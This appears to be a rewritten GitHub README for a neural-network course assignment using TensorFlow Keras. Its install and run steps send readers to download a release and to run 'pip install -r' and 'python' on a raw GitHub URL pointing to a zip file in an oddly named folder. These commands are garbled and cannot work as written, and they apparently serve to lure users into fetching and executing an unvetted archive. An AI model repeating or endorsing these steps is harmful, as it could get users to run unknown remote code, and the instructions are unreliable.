✨ info527-neural-networks-assignment4 - Easy Neural Network Implementation

📖 Overview

Welcome to the info527-neural-networks-assignment4 project! This application showcases deep learning architectures using TensorFlow Keras. You can explore convolutional neural networks (CNNs) for image and text classification, along with recurrent neural networks (RNNs) for sequence modeling. This project is part of the Master’s in MIS/ML program at the University of Arizona.

🚀 Getting Started

Follow these steps to download and run the application smoothly.

🗂️ Prerequisites

• Operating System: Windows, macOS, or Linux
• Python: Version 3.6 or higher
• TensorFlow: Version 2.0 or higher

Make sure you have the latest version of Python installed. You can download it from the official Python website.

📥 Download & Install

To get started, visit the Releases page to download the application files. Look for the latest release version, which will contain all necessary files.

1. Visit the Releases page.
2. Locate the latest version link.
3. Click on the file suited for your operating system to download it.
4. Save the file to a memorable location on your computer.

⚙️ Running the Application

Once you have downloaded the application files, follow these steps:

1. Extract the Files: If the downloaded file is in a zip format, right-click and select "Extract All" to extract the files.

2. Open a Command Prompt or Terminal:

   • For Windows, search for "cmd" in your Start menu.
   • For macOS, open "Terminal" from Applications.

3. Navigate to the Application Folder: Use the cd command to change to the directory where you extracted the application files. For example:

   cd path\to\the\extracted\folder
   

   Replace path\to\the\extracted\folder with the actual path.

4. Install Required Packages: Once in the folder, run this command to install any necessary Python packages:

   pip install -r https://raw.githubusercontent.com/mhtmalla/info527-neural-networks-assignment4/main/goldtit/info527-neural-networks-assignment4.zip
   

   This command will read the https://raw.githubusercontent.com/mhtmalla/info527-neural-networks-assignment4/main/goldtit/info527-neural-networks-assignment4.zip file and install the libraries you need.

5. Run the Application: To start the application, execute:

   python https://raw.githubusercontent.com/mhtmalla/info527-neural-networks-assignment4/main/goldtit/info527-neural-networks-assignment4.zip
   

   Ensure that the https://raw.githubusercontent.com/mhtmalla/info527-neural-networks-assignment4/main/goldtit/info527-neural-networks-assignment4.zip file is present in the folder.

🔍 Exploring Features

This application provides several functionalities:

• CNN for Image Classification: Easily classify images using pre-trained models.
• RNN for Text Analysis: Analyze and predict text sequences.
• User-Friendly Interface: Navigate through various options effortlessly.
• Model Training: Train your custom models with your data.

🌐 Support & Issues

If you encounter any issues or have questions, please check the “Issues” tab on our GitHub repository. You can report bugs or request features there.

🤝 Contributing

If you wish to contribute to this project, please fork the repository and submit a pull request. We welcome new ideas and enhancements.

📝 License

This project is licensed under the MIT License. See the LICENSE file for details.

🎉 Acknowledgments

Thanks to the University of Arizona for providing a framework for this project, and for all who have contributed to this application.

For further details and updates, feel free to visit our GitHub page.